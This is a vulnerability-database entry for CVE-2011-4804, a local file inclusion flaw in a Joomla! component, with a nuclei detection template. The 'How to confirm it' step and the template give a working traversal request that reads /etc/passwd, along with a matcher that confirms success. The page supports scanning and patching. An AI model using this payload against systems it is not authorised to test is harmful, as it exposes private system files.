HexBrain

Browse / CVEs / CVE-2011-4804

CVE-2011-4804· foobla / com obsuggest· CWE-22

Joomla! Component com_kp - 'Controller' Local File Inclusion

mediumseverity
5CVSS score
21%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

The vulnerability allows an attacker to include arbitrary local files, leading to unauthorized access to sensitive information or remote code execution.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2011-4804 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-4804

info:
  name: Joomla! Component com_kp - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to unauthorized access to sensitive information or remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36598
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4804
    - http://foobla.com/news/latest/obsuggest-1.8-security-release.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-4804
    cwe-id: CWE-22
    epss-score: 0.20981
    epss-percentile: 0.97584
    cpe: cpe:2.3:a:foobla:com_obsuggest:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: foobla
    product: com_obsuggest
  tags: cve,cve2011,lfi,edb,joomla,foobla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from